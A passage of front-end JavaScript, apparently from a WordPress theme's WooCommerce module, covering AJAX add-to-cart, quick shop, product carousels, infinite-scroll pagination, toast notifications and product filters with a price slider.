				var $thisbutton = $( this )

				if ( $thisbutton.is( '.variations_form .single_add_to_cart_button' ) ) {

					$thisbutton.removeClass( 'added' )
					$thisbutton.addClass( 'loading' )

					var data = {
						action: 'penci_add_to_cart_variable',
					}

					$variation_form.serializeArray().map( function ( attr ) {
						if ( attr.name !== 'add-to-cart' ) {
							if ( attr.name.endsWith( '[]' ) ) {
								let name = attr.name.substring( 0, attr.name.length - 2 )
								if ( !(
									name in data
								) ) {
									data[name] = []
								}
								data[name].push( attr.value )
							} else {
								data[attr.name] = attr.value
							}
						}
					} )

					// Trigger event
					$( 'body' ).trigger( 'adding_to_cart', [$thisbutton, data] )

					// Ajax action
					$.post( wc_add_to_cart_params.ajax_url, data, function ( response ) {

						if ( !response ) {
							return
						}

						if ( response.error && response.product_url ) {
							window.location = response.product_url
							return
						}

						// Redirect to cart option
						if ( wc_add_to_cart_params.cart_redirect_after_add === 'yes' ) {
							window.location = wc_add_to_cart_params.cart_url
							return
						}

						// Trigger event so themes can refresh other areas.
						$( document.body ).trigger( 'added_to_cart', [
							response.fragments, response.cart_hash, $thisbutton,
						] )

					} )

					return false

				} else {

					return true
				}

			} )
		}

		/* Product Ajax Quick Shop
	 ---------------------------------------------------------------*/
		PENCI.quickshop = function () {

			if ( penciwoo.quickshop == 0 ) {
				return false
			}

			$( 'ul.products.penci-quickshop-support' ).on( 'click', '.button.product_type_variable', function ( e ) {
				e.preventDefault()
				var $this = $( this ), $product = $this.closest( 'li.product' ),
					$content = $product.find( '.quick-shop-form' ), id = $content.data( 'pid' ),
					loadingClass = 'loading', formSelect = 'li.post-' + id + ' .variations_form'

				if ( $this.hasClass( loadingClass ) ) {
					return
				}

				if ( $product.hasClass( 'quick-shop-loaded' ) ) {
					$product.addClass( 'quick-shop-shown' )
					return
				}

				$this.addClass( loadingClass )
				$product.addClass( 'loading-quick-shop' )

				$.ajax( {
					url: penciwoo.ajaxUrl, data: {
						action: 'penci_quick_shop', id: id,
					}, method: 'get', success: function ( data ) {
						$content.append( data )
						$product.find( '.variations_form' ).wc_variation_form().find( '.variations select:eq(0)' ).change()
						$product.find( '.variations_form' ).trigger( 'wc_variation_form' )
						PENCI.loadingicon()
						PENCI.swatches( formSelect )
					}, complete: function () {
						setTimeout( function () {
							$this.removeClass( loadingClass )
							$product.removeClass( 'loading-quick-shop' )
							$product.addClass( 'quick-shop-shown quick-shop-loaded' )
						}, 100 )
					},
				} )

			} ).on( 'click', '.quick-shop-close', function ( e ) {
				e.preventDefault()

				var $this = $( this ), $product = $this.parents( 'li.product' )

				$product.removeClass( 'quick-shop-shown' )
			} )

			$( 'body' ).on( 'added_to_cart', function () {
				$( '.product' ).removeClass( 'quick-shop-shown' )
			} )
		}

		/* Product Accordion
	 ---------------------------------------------------------------*/
		PENCI.accordion = function () {
			$( '.woocommerce-accordion-title' ).click( function ( j ) {
				var $parent = $( this ).parent(), $toggle = $parent.find( '.woocommerce-accordion-panel' )

				$( this ).toggleClass( 'active' )
				$parent.toggleClass( 'parent-active' )
				$toggle.slideToggle()
				j.preventDefault()
			} )
		}

		/* Product Product Carousel
	---------------------------------------------------------------*/
		PENCI.productCarousel = function () {

			var penci_product_section_carousel = function ( selector, columns ) {
				var sectionProduct, mobilecol, vclass

				vclass = 'swiper-' + Math.floor( Math.random() * (
				         9999999 - 1 + 1
				) + 1 )
				sectionProduct = '.' + vclass

				if ( selector.indexOf( 'ul.products' ) >= 0 ) {
					$( selector ).addClass( 'swiper ' + vclass )
				} else {
					$( selector ).find( 'ul.products' ).addClass( 'swiper ' + vclass )
				}

				$( sectionProduct ).wrapInner( '<div class="swiper-wrapper"></div>' )
				$( sectionProduct ).find( 'li' ).addClass( 'swiper-slide' )
				$( sectionProduct ).addClass( 'penci-owl-carousel penci-owl-carousel-slider' )
				$( sectionProduct ).append( '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>' )

				var relateProduct_arg = {
					loop: true,
					spaceBetween: 30,
					slidesPerView: columns,
					breakpoints: {
						320: {
							slidesPerView: 2, spaceBetween: 20,
						}, 600: {
							slidesPerView: 2, spaceBetween: 20,
						}, 1000: {
							slidesPerView: columns,
						},
					},
					navigation: {
						nextEl: sectionProduct + ' .owl-next',
						prevEl: sectionProduct + ' .owl-prev',
					},
					on: {
						init: function ( e ) {
							$( sectionProduct ).addClass( 'penci-owl-loaded' )
						},
					},
				}

				const swiper = new Swiper( sectionProduct, relateProduct_arg )

			}

			$.each( [
				{
					name: '.up-sells.products.slider', number: penciwoo.upsellproduct,
				}, {
					name: '.related.products.slider', number: penciwoo.relateproduct,
				}, {
					name: '.cart-collaterals + .cross-sells.slider', number: penciwoo.crosssellproduct,
				}, {
					name: 'ul.products.penci-woo-product-loop-categories.display-style-carousel',
					number: penciwoo.catcolumns,
				},
			], function ( key, section ) {
				penci_product_section_carousel( section.name, section.number )
			} )
		}

		/* Product Product Sticky
	---------------------------------------------------------------*/
		PENCI.productSticky = function () {
			$( 'body.single-product' ).on( 'click', '.penci-sticky-cart .button.product_type_variable', function ( e ) {
				e.preventDefault()
				var productElement = document.querySelector( '#main' )
				productElement.scrollIntoView( { behavior: 'smooth', block: 'start' } )
			} )

			var stickyAddToCartCheck = function () {
				if ( (
					     $( '#main' ).find( '.penci-sticky-cart' ).length
				     ) === 1 ) {
					var windowScroll = $( window ).scrollTop(), windowHeight = $( window ).height(),
						documentHeight = $( document ).height(), stickyCart = $( '.penci-sticky-cart' ),
						mainCart = $( 'form.cart' ), summaryOffset = mainCart.offset().top + mainCart.outerHeight()

					if ( summaryOffset < windowScroll && windowScroll + windowHeight !== documentHeight ) {
						stickyCart.addClass( 'cart-sticky' )

					} else if ( windowScroll + windowHeight === documentHeight || summaryOffset > windowScroll ) {
						stickyCart.removeClass( 'cart-sticky' )
					}

				} // sticky
			}

			stickyAddToCartCheck()

			$( window ).on( 'scroll', stickyAddToCartCheck )
		}

		/* Product Pagination
	---------------------------------------------------------------*/
		PENCI.pagination = function () {
			var nextPage = $( '.woocommerce-pagination .next.page-numbers' )
			if ( $.isFunction( $.fn.infiniteScroll ) && nextPage.length > 0 ) {
				var pPath = '.woocommerce-pagination .next.page-numbers', pAppend = 'li.product',
					pButton = '.view-more-button.button', pStatus = '.page-load-status', pBody = $( 'body' ),
					ajax_threshold = penciwoo.pagination_ajax_threshold,
					ajax_history = penciwoo.pagination_ajax_history, ajax_title = penciwoo.pagination_ajax_title

				if ( pBody.hasClass( 'elementor-page' ) ) {
					ajax_history = false
					ajax_title = false
				}

				$( '.infinit.penci-woo-page-container ul.products:not(.penci-woo-product-loop-categories)' ).each( function () {
					$( this ).infiniteScroll( {
						path: pPath,
						append: pAppend,
						status: pStatus,
						scrollThreshold: ajax_threshold,
						history: ajax_history,
						historyTitle: ajax_title,
						checkLastPage: true,
					} )
				} )

				if ( !pBody.hasClass( 'elementor-page' ) ) {


					$( '.loadmore.penci-woo-page-container ul.products:not(.penci-woo-product-loop-categories)' ).each( function () {
						var idClass = '.woocommerce-pagination.loadmore-pagination .next.page-numbers',
							mainClass = $( this )

						if ( pBody.hasClass( 'elementor-page' ) ) {
							var id = $( this ).closest( '.penci-woo-page-container' ).data( 'section' )
							idClass = '.' + id + ' .next.page-numbers'
							mainClass = $( '.' + id + '.loadmore.penci-woo-page-container ul.products.' + id + '-container' )
							pAppend = '.' + id + ' li.product'
							pButton = '.' + id + '.view-more-button.button'
							pStatus = '.' + id + '.page-load-status'
						}

						mainClass.infiniteScroll( {
							path: idClass,
							append: pAppend,
							scrollThreshold: false,
							button: pButton,
							status: pStatus,
							checkLastPage: true,
							history: ajax_history,
							historyTitle: ajax_title,
							debug: false,
						} )
					} )
				}


				$( '.penci-woo-page-container ul.products' ).on( 'request.infiniteScroll', function ( event, path, fetchPromise ) {
					$( pButton ).addClass( 'loading-posts' )
				} ).on( 'load.infiniteScroll', function ( event, body, path, response ) {
					$( pButton ).removeClass( 'loading-posts' )
				} ).on( 'append.infiniteScroll', function ( event, body, path, response ) {
					PENCI.tippyContent()
				} ).on( 'last.infiniteScroll', function ( event, body, path, response ) {
					$( pButton ).hide()
				} )

				if ( pBody.hasClass( 'elementor-page' ) ) {
					pBody.on( 'click', '.penci-ajax-more-button', function ( e ) {
						e.preventDefault()
						var thisBtn = $( this ), id = thisBtn.closest( '.penci-woo-page-container' ).data( 'section' ),
							contentContainer = $( '.' + id ),
							nextLink = contentContainer.find( '.woocommerce-pagination .next.page-numbers' )

						if ( nextLink.length > 0 ) {
							$.ajax( {
								url: nextLink.attr( 'href' ), method: 'get', beforeSend: function () {
									thisBtn.addClass( 'loading-posts' )
									contentContainer.addClass( 'pre-load-content' )
								}, success: function ( data ) {
									var content = $( data ).find( 'ul.products' ).html(),
										pagination = $( data ).find( '.woocommerce-pagination' ).html(),
										next = $( data ).find( '.woocommerce-pagination .next.page-numbers' )
									contentContainer.removeClass( 'pre-load-content' )
									thisBtn.removeClass( 'loading-posts' )
									contentContainer.find( 'ul.products' ).append( content )
									contentContainer.find( '.woocommerce-pagination' ).html( pagination )
									PENCI.tippyContent()
									PENCI.loadingicon()
									PENCI.fixproductIconsize()
									PENCI.quickshop()
									if ( next.length === 0 ) {
										thisBtn.hide()
									}
								},
							} )
						}
					} )
				}
			}
		}

		/* Product Select2button
	---------------------------------------------------------------*/
		PENCI.select2button = function () {
			if ( penciwoo.select2button > 0 ) {
				$( '.variations_form.cart table.variations .value' ).each( function () {
					var $this = $( this ), $select = $this.find( 'select' )
					if ( $this.find( '.penci-swatches' ).length < 1 ) {

						$select.gridPicker( {
							canSelect: function ( element ) {
								return !$( element ).is( ':disabled' )
							}, canUnselect: function ( element ) {
								return typeof this._$ui.element.attr( 'multiple' ) !== 'undefined'
							},
						} )
					}
				} )
			}
		}

		/* Product Sidebar
	---------------------------------------------------------------*/
		PENCI.sidecart = function () {
			$( document ).on( 'click', '.shoping-cart-icon a', function ( e ) {
				e.preventDefault()
				$( 'body' ).addClass( 'open-sidecart' )
			} )
			$( '.sidebar-cart-close' ).on( 'click', function () {
				$( 'body' ).removeClass( 'open-sidecart' )
			} )
		}

		/* Top Widget Trigger
	---------------------------------------------------------------*/
		PENCI.topWidgets = function () {

			var scrollEnable = true, bdY = $( 'body' ), filtetPanelPositon = penciwoo.fullpanelposition,
				filterClass = 'penci-' + filtetPanelPositon + '-filter-active'

			if ( window.matchMedia( '(max-width: 767px)' ).matches && penciwoo.disable_mobile_autoscroll > 0 ) {
				scrollEnable = false
			}

			$( document ).on( 'click', '.penci-product-top-filter-button > .penci-filter-button', function ( e ) {
				e.preventDefault()
				bdY.toggleClass( filterClass )
				$( this ).toggleClass( 'close' )
			} )

			$( document ).on( 'click', 'button.close-sidebar', function ( e ) {
				bdY.toggleClass( filterClass )
				$( '.penci-product-top-filter-button > .penci-filter-button' ).toggleClass( 'close' )
			} )

			$( document ).keyup( function ( e ) {
				if ( e.key === 'Escape' ) {
					if ( bdY.hasClass( filterClass ) ) {
						bdY.removeClass( filterClass )
						$( '.penci-product-top-filter-button > .penci-filter-button' ).removeClass( 'close' )
					}
				}
			} )
		}

		PENCI.productSwiper = function ( selector ) {

			var tabProduct = $( selector ).find( 'ul.products' ), speed = tabProduct.data( 'speed' ),
				slides_per_view = tabProduct.data( 'desktop' ),
				slides_per_view_tablet = tabProduct.data( 'tablet' ) ? tabProduct.data( 'desktop' ) : slides_per_view,
				slides_per_view_mobile = tabProduct.data( 'mobile' ) ? tabProduct.data( 'mobile' ) : slides_per_view,
				autoplay = tabProduct.data( 'autoplay' ), center_mode = tabProduct.data( 'center_mode' ),
				hide_pagination_control = tabProduct.data( 'hide_pagination_control' ),
				hide_prev_next_buttons = tabProduct.data( 'hide_prev_next_buttons' ),
				datamargin = tabProduct.attr( 'data-margin' ), scroll_per_page = tabProduct.data( 'scroll_per_page' ),
				vclass = 'swiper_v_' + Math.floor( Math.random() * (
				         9999999 - 1 + 1
				) + 1 ),
				$ids = 'swiper_v_' + Math.floor( Math.random() * (
				       9999999 - 1 + 1
				) + 1 )

			if ( !tabProduct.hasClass( 'swiper' ) ) {
				tabProduct.addClass( 'swiper ' + vclass )
				tabProduct.find( 'li' ).addClass( 'swiper-slide' )
				tabProduct.wrapInner( '<div class="swiper-wrapper"></div>' )
			}

			$( 'body' ).trigger( 'slider-load' )

		}

		/* Penci Ajax Product Query
	---------------------------------------------------------------*/
		PENCI.productQuery = function () {

			$( '.elementor-element' ).each( function () {
				var telement = $( this ),
					defaultTab = $( telement ).find( '.penci-products-tabs .products-tabs-title li.active-tab-title' )
				if ( 'carousel' === defaultTab.data( 'layout' ) ) {
					$( 'body' ).trigger( 'slider-load' )
				}
			} )

			$( '.penci-products-tabs' ).on( 'click', '.products-tabs-title li', function ( e ) {
				e.preventDefault()
				var $this = $( this ), $setting = $this.data( 'atts' ),
					$elementClass = $this.closest( '.elementor-element' ), $queryID = $this.data( 'queryid' ),
					$layout = $this.data( 'layout' ), $queryClass = '.products-' + $queryID + '-section',
					$contentContainer = $elementClass.find( '.penci-tab-content-container' ),
					$slider = $( $queryClass ).find( 'ul.products' )

				if ( $this.hasClass( 'active-tab-title' ) ) {
					return false
				}

				if ( $elementClass.find( $queryClass ).length > 0 ) {
					$contentContainer.find( '.penci-custom-products' ).removeClass( 'active' )
					$contentContainer.find( $queryClass ).addClass( 'active' )

					$elementClass.find( '.products-tabs-title li' ).removeClass( 'active-tab-title' )
					$this.addClass( 'active-tab-title' )

					if ( 'carousel' === $layout ) {
						$( 'body' ).trigger( 'slider-load' )
					}

				} else {
					$.ajax( {
						url: penciwoo.ajaxUrl, data: {
							action: 'penci_ajax_load_products',
							settings: $setting,
							requestid: penciwoo.nonce,
							preloader: 0,
						}, method: 'get', beforeSend: function () {
							$contentContainer.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							$contentContainer.append( data )
							$contentContainer.removeClass( 'pre-load-content' )
							$contentContainer.find( '.penci-custom-products' ).removeClass( 'active' )
							$contentContainer.find( $queryClass ).addClass( 'active' )
							$elementClass.find( '.products-tabs-title li' ).removeClass( 'active-tab-title' )
							$this.addClass( 'active-tab-title' )
							PENCI.tippyContent()
							PENCI.loadingicon()
							PENCI.fixproductIconsize()
							PENCI.quickshop()
							if ( 'carousel' === $layout ) {
								$( 'body' ).trigger( 'slider-load' )
							}
						},
					} )
				}
			} ).on( 'click', '.page-numbers a', function ( e ) {

				var linkURL = $( this ).attr( 'href' ).toString()

				if ( linkURL.indexOf( 'penci_ajax_load_products' ) >= 0 ) {

					var parentClass = $( this ).closest( '.page-unique-part' ),
						containerUnit = '.' + parentClass.data( 'part' ),
						parentConent = $( '.penci-tab-content-container' ), postURL = $( this ).attr( 'href' )
					$.ajax( {
						url: postURL, method: 'get', beforeSend: function () {
							parentConent.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							parentConent.find( containerUnit ).remove()
							parentConent.append( data )
							parentConent.removeClass( 'pre-load-content' )
							parentConent.find( containerUnit ).addClass( 'active' )
							PENCI.tippyContent()
						},
					} )
				}

				e.preventDefault()
			} )

			$( document ).on( 'click', '.penci-swatches-divider', function () {
				var $click = $( this ), $item = $click.closest( '.penci-swatches-list' )
				$item.find( '.penci-swatch-item' ).removeClass( 'hidden' )
				$click.hide()
			} )

		}

		/* Penci Notify
	---------------------------------------------------------------*/
		PENCI.notify = function ( title, message, type ) {
			if ( penciwoo.toast_notify > 0 && title && message && type ) {

				var $icon = type

				if ( type === 'added_to_cart' ) {
					$icon = false
				}

				$.toast( {
					heading: title,
					text: message,
					icon: $icon,
					position: penciwoo.toast_notify_position,
					textAlign: penciwoo.toast_notify_text_align,
					showHideTransition: penciwoo.toast_notify_transition,
					hideAfter: penciwoo.toast_notify_hide_after,
					bgColor: penciwoo.toast_notify_bg_color,
					textColor: penciwoo.toast_notify_text_color,
				} )
			}
		}

		/* Penci Misc Template
   ---------------------------------------------------------------*/
		PENCI.ajaxNotify = function ( $id ) {
			$.ajax( {
				url: penciwoo.ajaxUrl, data: {
					action: 'penci_get_product_info', requestid: penciwoo.nonce, id: $id,
				}, method: 'get', success: function ( response ) {
					PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + penciwoo.addtocart + '.</p></div>', penciwoo.toast_notify_shop_sucess_text + '<div class="woocommerce notify_bottom"><a class="button shop_url" href="' + penciwoo.toast_notify_shop_url + '">' + penciwoo.toast_notify_shop_text + '</a><a class="button checkout_url" href="' + penciwoo.checkout_url + '">' + penciwoo.checkout_text + '</a></div>', 'added_to_cart' )
				},
			} )
		}

		/* Penci Misc Template
	---------------------------------------------------------------*/
		PENCI.getURLparam = function ( sParam ) {
			var sPageURL = window.location.search.substring( 1 ), sURLVariables = sPageURL.split( '&' ), sParameterName,
				i

			for ( i = 0; i < sURLVariables.length; i ++ ) {
				sParameterName = sURLVariables[i].split( '=' )

				if ( sParameterName[0] === sParam ) {
					return typeof sParameterName[1] === undefined ? true : decodeURIComponent( sParameterName[1] )
				}
			}
			return false
		}

		PENCI.misc = function () {
			var body = $( 'body' )
			if ( body.find( '.penci-mobile-bottom-nav' ).length > 0 ) {
				body.addClass( 'mobile-bottom-nav-active' )
			}

			$( '.penci-mobile-bottom-nav li.filter a' ).on( 'click', function ( e ) {
				e.preventDefault()
				$( 'body' ).addClass( 'open-filter-side' )
			} )
			$( '.sidebar-filter-close, .sidebar-filter-close-button' ).on( 'click', function () {
				$( 'body' ).removeClass( 'open-filter-side penci-side-right-filter-active penci-side-left-filter-active' )
				$( '.penci-product-top-filter-button > .penci-filter-button' ).removeClass( 'close' )
			} )
			$( '.penci-top-relate-post .top-ralate-item' ).each( function () {
				if ( PENCI.isMobile() ) {
					var tItem = $( this ), title = tItem.find( 'h4' ).text(), link = tItem.find( 'a' ).attr( 'href' )
					tItem.attr( 'data-tippy-content', title )
					tippy( '[data-tippy-content]', { placement: 'bottom' } )
					$( this ).on( 'click', function () {
						window.location.href = link
					} )
				}
			} )

			$( '.widget_layered_nav_filters a,.soledad-product-filter li.chosen a.layered-nav-link' ).each( function () {
				var theme_demo_mods = penciwoo.demo_mods, currentURL = $( this ).attr( 'href' )
				$.each( theme_demo_mods, function ( index, attr ) {
					var value = PENCI.getURLparam( attr )
					if ( value.length > 0 ) {
						currentURL = PENCI.updateURL( currentURL, attr, value )
					}
				} )

				$( this ).attr( 'href', currentURL )
			} )
		}

		/* Penci Woo Extra
	---------------------------------------------------------------*/

		PENCI.wooextra = function () {

			$( 'body' ).on( 'wc_cart_button_updated', function () {
				$( '.penci-product-loop-button' ).find( 'a.added_to_cart.wc-forward' ).remove()
			} )

			$( document ).on( 'added_to_cart', function ( event, fragments, cart_hash, $button ) {

				if ( 'dropdown' !== penciwoo.cartstyle.toString() ) {
					$( 'body' ).addClass( 'open-sidecart' )
				}

				if ( penciwoo.cartnotify > 0 ) {

					var $id

					if ( $button.data( 'product_id' ) ) {
						$id = $button.data( 'product_id' )
					} else {
						if ( $button.closest( 'form.cart' ).data( 'product_id' ) ) {
							$id = $button.closest( 'form.cart' ).data( 'product_id' )
						} else if ( $button.attr( 'value' ) ) {
							$id = $button.attr( 'value' )
						}
					}

					if ( $id ) {
						PENCI.ajaxNotify( $id )
						return false
					}

				}
			} )
		}

		/* Penci Loading
	---------------------------------------------------------------*/
		PENCI.loadingicon = function () {

			var penci_loading_icon = '<span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span>',
				elAdd = [
					'.single_add_to_cart_button',
					'ul.product-style-5 .penci-product-loop-top a.button.add_to_cart_button',
					'ul.product-style-3 .penci-product-loop-image a.button.add_to_cart_button',
					'ul.product-standard a.button',
					'.penci-list-action .button',
					'.woocommerce.penci-products-compare-table a.button.add_to_cart_button',
					'.hotspot-product .button',
				]

			$.each( elAdd, function ( index, value ) {
				$( value ).append( penci_loading_icon ).addClass( 'has-new-preload' )
			} )
		}

		/* Penci Product Filter
	---------------------------------------------------------------*/
		PENCI.productFilters = function () {
			var removeValue = function ( $mainInput, currentVal ) {
				if ( $mainInput.length === 0 ) {
					return
				}

				var mainInputVal = $mainInput.val()

				if ( mainInputVal.indexOf( ',' ) > 0 ) {
					$mainInput.val( mainInputVal.replace( ',' + currentVal, '' ).replace( currentVal + ',', '' ) )
				} else {
					$mainInput.val( mainInputVal.replace( currentVal, '' ) )
				}
			}

			$( '.penci-pf-checkboxes li > .pf-value' ).on( 'click', function ( e ) {
				e.preventDefault()
				var $this = $( this ), $li = $this.parent(), $widget = $this.parents( '.penci-pf-checkboxes' ),
					$mainInput = $widget.find( '.result-input' ), $results = $widget.find( '.penci-pf-results' ),
					multiSelect = $widget.hasClass( 'multi_select' ), mainInputVal = $mainInput.val(),
					currentText = $this.data( 'title' ), currentVal = $this.data( 'val' )

				if ( multiSelect ) {
					if ( !$li.hasClass( 'pf-active' ) ) {
						if ( mainInputVal === '' ) {
							$mainInput.val( currentVal )
						} else {
							$mainInput.val( mainInputVal + ',' + currentVal )
						}

						$results.prepend( '<li class="selected-value" data-title="' + currentVal + '">' + currentText + '</li>' )
						$li.addClass( 'pf-active' )
					} else {
						removeValue( $mainInput, currentVal )
						$results.find( 'li[data-title="' + currentVal + '"]' ).remove()
						$li.removeClass( 'pf-active' )
					}
				} else {
					if ( !$li.hasClass( 'pf-active' ) ) {
						$mainInput.val( currentVal )
						$results.find( '.selected-value' ).remove()
						$results.prepend( '<li class="selected-value" data-title="' + currentVal + '">' + currentText + '</li>' )
						$li.parents( '.penci-scroll-content' ).find( '.pf-active' ).removeClass( 'pf-active' )
						$li.addClass( 'pf-active' )
					} else {
						$mainInput.val( '' )
						$results.find( '.selected-value' ).remove()
						$li.removeClass( 'pf-active' )
					}
				}
			} )

			// Label clear
			var $checkboxes = $( '.penci-pf-checkboxes' )
			$checkboxes.on( 'click', '.selected-value', function () {
				var $this = $( this ), $widget = $this.parents( '.penci-pf-checkboxes' ),
					$mainInput = $widget.find( '.result-input' ), currentVal = $this.data( 'title' )

				// Price filter clear
				if ( currentVal === 'price-filter' ) {
					var min = $this.data( 'min' ), max = $this.data( 'max' ),
						$slider = $widget.find( '.price_slider_widget' )
					$slider.slider( 'values', 0, min )
					$slider.slider( 'values', 1, max )
					$widget.find( '.min_price' ).val( '' )
					$widget.find( '.max_price' ).val( '' )
					$( 'body' ).trigger( 'filter_price_slider_slide', [
						min, max, min, max, $slider,
					] )
					return
				}

				removeValue( $mainInput, currentVal )
				$widget.find( '.pf-value[data-val="' + currentVal + '"]' ).parent().removeClass( 'pf-active' )
				$this.remove()
			} )

			// Checkboxes value dropdown
			$checkboxes.each( function () {
				var $this = $( this ), $btn = $this.find( '.penci-pf-title' ),
					$list = $btn.siblings( '.penci-pf-dropdown' ), multiSelect = $this.hasClass( 'multi_select' )

				$btn.on( 'click', function ( e ) {
					var target = e.target

					if ( $( target ).is( $btn.find( '.selected-value' ) ) ) {
						return
					}

					if ( !$this.hasClass( 'opened' ) ) {
						$this.addClass( 'opened' )
						$list.slideDown( 100 )
						setTimeout( function () {
							$( document ).trigger( 'wdProductFiltersOpened' )
						}, 300 )
					} else {
						close()
					}
				} )

				$( document ).on( 'click', function ( e ) {
					var target = e.target

					if ( $this.hasClass( 'opened' ) && (
						multiSelect && !$( target ).is( $this ) && !$( target ).parents().is( $this )
					) || (
						     !multiSelect && !$( target ).is( $btn ) && !$( target ).parents().is( $btn )
					     ) ) {
						close()
					}
				} )

				var close = function () {
					$this.removeClass( 'opened' )
					$list.slideUp( 100 )
				}
			} )

			var removeEmptyValues = function ( $selector ) {
				$selector.find( '.penci-pf-checkboxes' ).each( function () {
					var $this = $( this )

					if ( !$this.find( 'input[type="hidden"]' ).val() ) {
						$this.find( 'input[type="hidden"]' ).remove()
					}
				} )
			}

			var changeFormAction = function ( $form ) {
				var activeCat = $form.find( '.penci-pf-categories .pf-active .pf-value' )

				if ( activeCat.length > 0 ) {
					$form.attr( 'action', activeCat.attr( 'href' ) )
				}
			}

			// Price slider init
			$( 'body' ).on( 'filter_price_slider_create filter_price_slider_slide', function ( event, min, max, minPrice, maxPrice, $slider ) {
				var minHtml = accounting.formatMoney( min, {
					symbol: woocommerce_price_slider_params.currency_format_symbol,
					decimal: woocommerce_price_slider_params.currency_format_decimal_sep,
					thousand: woocommerce_price_slider_params.currency_format_thousand_sep,
					precision: woocommerce_price_slider_params.currency_format_num_decimals,
					format: woocommerce_price_slider_params.currency_format,
				} )

				var maxHtml = accounting.formatMoney( max, {
					symbol: woocommerce_price_slider_params.currency_format_symbol,
					decimal: woocommerce_price_slider_params.currency_format_decimal_sep,
					thousand: woocommerce_price_slider_params.currency_format_thousand_sep,
					precision: woocommerce_price_slider_params.currency_format_num_decimals,
					format: woocommerce_price_slider_params.currency_format,
				} )

				$slider.siblings( '.filter_price_slider_amount' ).find( 'span.from' ).html( minHtml )
				$slider.siblings( '.filter_price_slider_amount' ).find( 'span.to' ).html( maxHtml )

				var $results = $slider.parents( '.penci-pf-checkboxes' ).find( '.penci-pf-results' ),
					value = $results.find( '.selected-value' )

				if ( min === minPrice && max === maxPrice ) {
					value.remove()
				} else {
					if ( value.length === 0 ) {
						$results.prepend( '<li class="selected-value" data-title="price-filter" data-min="' + minPrice + '" data-max="' + maxPrice + '">' + minHtml + ' - ' + maxHtml + '</li>' )
					} else {
						value.html( minHtml + ' - ' + maxHtml )
					}
				}

				$( 'body' ).trigger( 'price_slider_updated', [
					min, max,
				] )
			} )

			$( '.penci-pf-price-range .price_slider_widget' ).each( function () {
				var $this = $( this ), $minInput = $this.siblings( '.filter_price_slider_amount' ).find( '.min_price' ),
					$maxInput = $this.siblings( '.filter_price_slider_amount' ).find( '.max_price' ),
					minPrice = parseInt( $minInput.data( 'min' ) ), maxPrice = parseInt( $maxInput.data( 'max' ) ),
					currentMinPrice = parseInt( $minInput.val() ), currentMaxPrice = parseInt( $maxInput.val() )

				$( '.price_slider_widget, .price_label' ).show()

				$this.slider( {
					range: true, animate: true, min: minPrice, max: maxPrice, values: [
						currentMinPrice, currentMaxPrice,
					], create: function () {
						if ( currentMinPrice === minPrice && currentMaxPrice === maxPrice ) {
							$minInput.val( '' )
							$maxInput.val( '' )
						}

						$( 'body' ).trigger( 'filter_price_slider_create', [
							currentMinPrice, currentMaxPrice, minPrice, maxPrice, $this,
						] )
					}, slide: function ( event, ui ) {
						if ( ui.values[0] === minPrice && ui.values[1] === maxPrice ) {
							$minInput.val( '' )
							$maxInput.val( '' )
						} else {
							$minInput.val( ui.values[0] )
							$maxInput.val( ui.values[1] )
						}

						$( 'body' ).trigger( 'filter_price_slider_slide', [
							ui.values[0], ui.values[1], minPrice, maxPrice, $this,
						] )
					}, change: function ( event, ui ) {
						$( 'body' ).trigger( 'price_slider_change', [
							ui.values[0], ui.values[1],
						] )
					},
				} )
			} )

			// Submit filter form
			$( '.penci-product-filters' ).one( 'click', '.penci-pf-btn button', function () {
				var $this = $( this ), $form = $this.parents( '.penci-product-filters' )
				removeEmptyValues( $form )
				changeFormAction( $form )

				if ( !$( 'body' ).hasClass( 'penci-ajax-shop-on' ) || typeof (
					$.fn.pjax
				) == 'undefined' || !$form.hasClass( 'with-ajax' ) ) {
					return
				}

				$.pjax( {
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					url: $form.attr( 'action' ),
					data: $form.serialize(),
					scrollTo: false,
				} )

				$this.prop( 'disabled', true )
			} )

			// Create labels after ajax
			$( '.penci-pf-checkboxes .pf-active > .pf-value' ).each( function () {
				var $this = $( this ),
					resultsWrapper = $this.parents( '.penci-pf-checkboxes' ).find( '.penci-pf-results' )

				resultsWrapper.prepend( '<li class="selected-value" data-title="' + $this.data( 'val' ) + '">' + $this.data( 'title' ) + '</li>' )
			} )
		}

		/* Penci Category Dropdown
	---------------------------------------------------------------*/
		PENCI.categoryDropdown = function () {
			$( '.penci-search-cat' ).each( function () {
				var dd = $( this ), btn = dd.find( '> a' ), input = dd.find( '> input' ),
					list = dd.find( '> .penci-dropdown' ), $searchInput = dd.parent().parent().find( '.s' )

				$searchInput.on( 'focus', function () {
					inputPadding()
				} )

				$( document ).on( 'click', function ( e ) {
					var target = e.target

					if ( list.hasClass( 'penci-opened' ) && !$( target ).is( '.penci-search-cat' ) && !$( target ).parents().is( '.penci-search-cat' ) ) {
						hideList()
						return false
					}
				} )

				btn.on( 'click', function ( e ) {
					e.preventDefault()

					if ( list.hasClass( 'penci-opened' ) ) {
						hideList()
					} else {
						showList()
					}

					return false
				} )

				list.on( 'click', 'a', function ( e ) {
					e.preventDefault()
					var $this = $( this ), value = $this.data( 'val' ), label = $this.text()

					list.find( '.current-item' ).removeClass( 'current-item' )
					$this.parent().addClass( 'current-item' )

					if ( value !== 0 ) {
						list.find( 'ul:not(.children) > li:first-child' ).show()
					} else if ( value === 0 ) {
						list.find( 'ul:not(.children) > li:first-child' ).hide()
					}

					btn.find( 'span' ).text( label )
					input.val( value ).trigger( 'cat_selected' )
					hideList()
					inputPadding()
				} )

				function showList() {
					list.addClass( 'penci-opened' )

					if ( typeof (
						$.fn.devbridgeAutocomplete
					) != 'undefined' ) {
						dd.parent().siblings( '[type="text"]' ).devbridgeAutocomplete( 'hide' )
					}

					setTimeout( function () {
						$( document ).trigger( 'wdSimpleDropdownOpened' )
					}, 300 )
				}

				function hideList() {
					list.removeClass( 'penci-opened' )
				}

				function inputPadding() {
					if ( $( window ).width() <= 768 || $searchInput.hasClass( 'penci-padding-inited' ) || 'yes' !== penciwoo.search_input_padding ) {
						return
					}

